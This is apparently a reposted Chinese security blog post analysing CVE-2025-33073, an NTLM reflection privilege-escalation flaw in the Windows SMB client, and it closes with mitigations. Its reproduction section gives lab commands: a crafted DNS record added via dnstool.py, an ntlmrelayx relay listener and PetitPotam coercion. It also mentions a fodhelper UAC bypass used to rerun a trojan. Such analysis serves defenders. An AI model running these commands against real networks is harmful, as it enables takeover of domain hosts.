内网横行：CVE-2025-33073漏洞分析与攻击复现

以上大部分知识点在上一篇文章中都已经分析过，可以参考以下前文同步阅读。

404实验室，公众号：饿猫的小黑屋利用 SSPI 数据报上下文 bypassUAC

CVE‑2025‑33073是微软在 2025 年 6 月 10 日的例行 Patch Tuesday 安全更新中披露的一个高危 Windows SMB 客户端提权漏洞 (CVSS 3.1 评分 8.8)。该漏洞本质上是一种 NTLM Reflection (NTLM 反射)攻击的新变种，它允许拥有普通域用户权限的攻击者 (在未启用 SMB 签名的环境中)通过添加恶意 DNS 记录并强制域内除域控外的任意主机 (域控默认强制启用了SMB签名)进行解析以获得 SYSTEM 权限在目标机器上执行任意命令。

历史上，微软早在 MS08‑068 补丁中就已修复了 NTLM 反射漏洞，因此行业内一度认为此类路径已被彻底封堵。然而 CVE‑2025‑33073 的出现证明了 SMB 协议反射攻击的深层设计缺陷并未被完全根治：攻击者只需一个普通域用户凭据，便可实现对任何未强制 SMB 签名域内计算机的高权限命令执行。由于它绕过了微软历次针对 NTLM 反射和中继攻击的多项防护措施，被广泛视为近年来影响最广的 Windows 认证机制漏洞之一。

具体影响列表参考：https://www.cve.org/CVERecord?id=CVE-2025-33073

在先前发表的《利用 SSPI 数据报上下文 bypassUAC》一文中，分析了 Windows 在本地身份验证与网络身份验证机制中存在的一些差异。近期通过对 CVE-2025-33073 漏洞原理的初步了解，发现该漏洞与上文提到的 BypassUAC 的方法在利用上存在一定的相似性，两者都绕过了 NTLM 的反射/本地验证防护，核心在于欺骗 LSASS 生成或传递不应出现的高级 Token，并且都利用了NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) 相关行为，因此决定进一步跟进对此漏洞进行展开分析。

在 NTLM 协商中，如果  Challenge消息的Negotiate Local Call 标志 (NTLM_NEGOTIATE_LOCAL_CALL)被设置，那么 Lsass 会生成一个受限的 Medium IL Token，而如果是网络身份认证，那么最终生成的则是不受UAC限制的 High IL Token。  最终通过利用 SSPI 的 ISC_REQ_DATAGRAM (NTLMSSP_NEGOTIATE_DATAGRAM)标志，伪造请求成为网络身份验证，再配合 Lsass 的令牌缓存机制就成功实现了 BypassUAC。

近期的 CVE-2025-33073 同样也是伪造身份验证的过程，它绕过 mrxsmb.sys 不完善的验证机制防护来触发本地 NTLM 认证逻辑，而 NTLM 协议 在本地认证的时候会直接复用调用者的令牌，通过强制 lsass.exe (以 system 权限运行)进行身份验证即可得到高权限的令牌。  

那么为什么在利用 SSPI 数据报上下文 bypassUAC 的时候是伪造网络身份验证获得的高权限，而在 CVE-2025-33073 中是通过伪造本地身份验证获得的 system 权限呢？

首先需要明确的是，严格意义上来说 BypassUAC 并不等同于提权。提权是将低权限提升到高权限 (例如从 nt authoritynetwork service 提权到 system 权限)，而 bypassUAC 是为了使本身就在管理员组的用户绕过 UAC 的限制，从而在不需要经过用户弹窗确认的情况下获得已经拥有但未被授予使用的 Primary Token高权限令牌。

UAC 全称 User Account Control (用户账户控制)。管理员组的用户本身就拥有 High IL 和 Medium IL 两个等级的 Token (也就是常说的主令牌和模拟令牌)，只不过一般情况下都使用受限的 Medium IL Token，只有当需要用到管理员权限的时候 (比如右键 “以管理员身份运行”)才会触发 UAC 弹窗通知用户以申请 High IL Token。UAC 机制使应用程序和任务始终在非管理员账户的安全上下文中运行。  

简单来讲，BypassUAC 的前提是需要当前的用户本身就在管理员组 (Administrators)当中 (比如你登录电脑所使用的账户)。当目标双击木马上线之后，我们会获得一个管理员组用户的 Session，之后就可以通过 BypassUAC 来实现和提权相同的效果。如果是在 web 情况下获得的低权限 (比如 nt authoritynetwork service 或者 iis apppool)，这些账户不在管理员组那么自然也就无法利用 BypassUAC (因为此类账户与 UAC 无关)，因此 bypassUAC 常见于钓鱼的场景。  

如下图所示，为模拟钓鱼上线之后的权限信息。

利用 fodhelper bypassUAC 的方式重新执行之前生成的木马，最终上线后权限信息如下图所示。可以看到原本在管理员组的用户 cool_ecat 在 bypassUAC 之后获得了管理员权限，且完整性为高，这里的完整性实际上指的就是令牌。 

使用net user normal Normal123@ /add 添加一个非管理员组用户并上线 C2，权限信息如下图所示。

使用该 Session 再次利用之前 fodhelper bypassUAC 的方式重新执行之前生成的木马，可以看到非管理员组用户在进行需要提升权限的操作时，受控目标的计算机会触发 Credential Prompt (凭据提示)的弹窗，这会要求用户提供管理员的密码。

如前文所述，在 NTLM 当中只有本地认证的时候会直接复用调用者的令牌，因此 CVE-2025-33073 是利用远程 RPC 诱导 SYSTEM 身份的 lsass.exe 与攻击者受控的 SMB 服务完成 NTLM 握手，并通过 SspIsTargetLocalhost 的本机判断逻辑，把 SYSTEM 令牌直接注入该 NTLM 上下文。在利用 SSPI 数据报上下文 bypassUAC 的时候，是为了通过在本地伪造网络身份认证获得账户本身已有但未被授予使用的高权限令牌。从宏观上来看，可以简单理解为因为 UAC 机制仅在本地触发，因此网络身份认证成功后可以直接获得高权限的 Token （具体可以参考上一篇文章），而 Lsass 在本地认证成功后会直接在本地上下文中注入调用者的Token（RPC服务通常以 system 权限运行，亦可参考上一篇文章）。一者是通过身份验证差异和 Lsass Token 混淆利用 Lsass 产生的 Token 来实现权限的提升，而一者是通过 Lsass 在本地验证时的特性利用 Lsass 自身的 Token 来实现权限的提升。

反射与中继的区别主要在于最后的 Response 发送给了谁。NTLM 标准认证流程如下：

客户端 → 服务器   : Negotiate服务器 → 客户端   : Challenge客户端 → 服务器   : Response  ←—— 用本地密码哈希计算得到

中继/反射攻击认证流程如下：

(1) 客户端 → 攻击者  : Negotiate(2) 攻击者 → 服务器  : Negotiate(3) 服务器 → 攻击者  : Challenge(4) 攻击者 → 客户端  : Challenge(5) 客户端 → 攻击者  : Response(6) 攻击者 → 服务器  : Response

在中继攻击当中，接收认证信息的是攻击者的目标服务器，与客户端是不同的实体。  

在反射攻击当中，接收认证信息的就是发起认证的客户端本身，攻击者将客户端发送的 Negotiate 再发送回给发起认证的客户端本身，也就是客户端与服务器是同一个实体。因此，可以说 NTLM 反射 是 NTLM 中继 的一种特殊攻击形式。  

从攻击场景上来看， NTLM 反射 通过自认证实现本地提权，NTLM 中继 多用于横向移动，借助客户端的凭据访问内网中的其他资源。  

这类漏洞最早通过 MS08-68 公开，微软修复了从 SMB 到 SMB 的反射，在后续几年也慢慢修补了其他利用方法，例如 MS09-13  修补的从 HTTP 到 SMB 的反射以及 MS15-076 修补的 DCOM 到 DCOM 的反射。

0x02 Local Authentication 本地身份验证

在上述 0x01 章节中我们已经介绍了标准认证流程，从 sourceforge 的 davenport 项目中可以看到关于NTLM 认证的说明。  

服务器会检查客户端发送的域和工作站信息，如果确定客户端和服务器是同一台计算机，那么服务器将通过在 Type 2 消息中设置 Negotiate Local Call 标志来启动本地身份验证。  

如果启用本地身份验证，客户端首先会检查服务器的安全上下文。验证不通过就按照标准认证流程进行，而如果验证通过，那么客户端会将自己的令牌/凭据添加到服务器的安全上下文中（通过 Reserved 中的 Context ID 定位上下文），最终生成一个完全为空的 Type 3 消息（安全缓冲区、用户名、域名和工作站名等都为空），服务器将会使用添加的令牌执行进一步的操作。  

本地身份验证的整个流程都发生在 lsass.exe 的进程内部，这样可以获得更好的性能以及避免网络传输Hash。

0x03 漏洞复现

192.168.214.134（域控机 Windows server 2022）192.168.214.135（目标机 Windows server 2022）192.168.214.138（攻击机 Kali Linux）# 当攻击机为 Windows 的时候，会存在 445 端口占用的问题导致监听失败# 实战当中需要进行一次流量转发或者使用内网 Linux 主机进行 relay 攻击

创建一个特殊的 DNS记录 ，指向攻击者的机器 192.168.214.138，使用 --action modify 覆盖写入。

python3 dnstool.py -u 'luckytom.comdomainuser01' -p 'User01!@#' -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.138 --action modify 192.168.214.134

开启监听，建议使用 Impacket v0.13.0.dev0 进行攻击。

python3 ntlmrelayx.py -t 192.168.214.135 -smb2support

强制目标按照 DNS记录 发起 NTLM 认证。

python3 PetitPotam.py -d luckytom.com -u domainuser01 -p 'User01!@#' badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135

当攻击完成后，ntlmrelayx.py 即可收到目标主机的 Hash 信息。

使用 wireshark 进行流量监听，可以看到 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) 在 Negotiate 中被设置，并且 Reserved 的值不为 0。

在上一篇文章中，我们已经分析过服务器判断本地身份验证的逻辑，如果客户端在协商消息中提供的域名和机器名与本地域名和机器名匹配，则这是本地身份验证情况。

在 wireshark 监听到的流量中也能看到消息中包含了域名和机器名。

接下来使用 IP 地址 进行攻击并再次捕获流量，可以看到 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000)在 Negotiate 中未被设置，并且 Reserved 的值为 0。

同时，消息中域名和机器名都为 NULL。

从两种方式的行为差异上可以说明客户端将 DNS 记录检测为等效于 localhost，并提示服务器应进行NTLM 本地身份验证。

0x03 漏洞根因

那么为什么将目标地址设置为 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 为导致 SMB 客户端（mrxsmb.sys） 的异常解析呢？  

首先当需要执行身份验证的时候，它会调用 ksecdd!AcquireCredentialsHandle 函数，随后调用 ksecdd!InitializeSecurityContextW 函数。此函数在用户态的入口点是 lsasrv!SspiExProcessSecurityContext ，该函数调用  lsasrv!LsapCheckMarshalledTargetInfo 来过滤目标名称中可能包含的已编组的目标信息。

NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName){    [...]    status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);    if (NT_SUCESS(status))    {        Length = TargetName->Length;        TargetName->MaximumLength = TargetName->Length;        TargetName->Length = Length - TargetInfoSize;    }    [...]    return status;}

那么什么是 Marshalled data （已编组信息） 呢？

[Marshalled data] 是指经过序列化（编码）的数据结构，用于跨进程或跨网络传输。在 Windows 的安全机制中，LSASS 需要处理各种来源的目标名称，而有些调用（比如远程过程调用、SSPI 安全上下文初始化）会在目标名称中额外附加一些结构化的信息，比如：安全标识（SID）域名机器名服务类信息特殊的上下文标志等这些信息是用来给 LSASS 提供额外的上下文，而不是人类可读的字符串。它们被编码为二进制，然后通过某种方式拼接在目标名字符串的尾部。

因为后续需要判断目标名字是本机名、 localhost 还是远程 IP 地址。这些判断都必须基于纯净的目标名字来进行判断，因此就需要 LsapCheckMarshalledTargetInfo 来判断目标名后面是不是跟了一段可被识别的 marshalled data。因此 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 在经过 SMB 客户端处理之后变成了 badtom，之后再进行判断是否是本地身份验证。

1. 开启 SMB 签名2. 禁止普通域用户新建 DNS 记录3. 更新 Windows 或者安装 6月份的补丁包

[1] https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025  [2] https://mp.weixin.qq.com/s/_cMsUuV07onnvraT3G1q8g  [3] https://davenport.sourceforge.net/ntlm.html#localAuthentication  [4] https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html?m=1  [5] https://github.com/fortra/impacket/tree/master  [6] https://github.com/mverschu/CVE-2025-33073  [7] https://github.com/topotam/PetitPotam[8] https://www.cve.org/CVERecord?id=CVE-2025-33073

原文始发于微信公众号（饿猫的小黑屋）：内网横行：CVE-2025-33073漏洞分析与攻击复现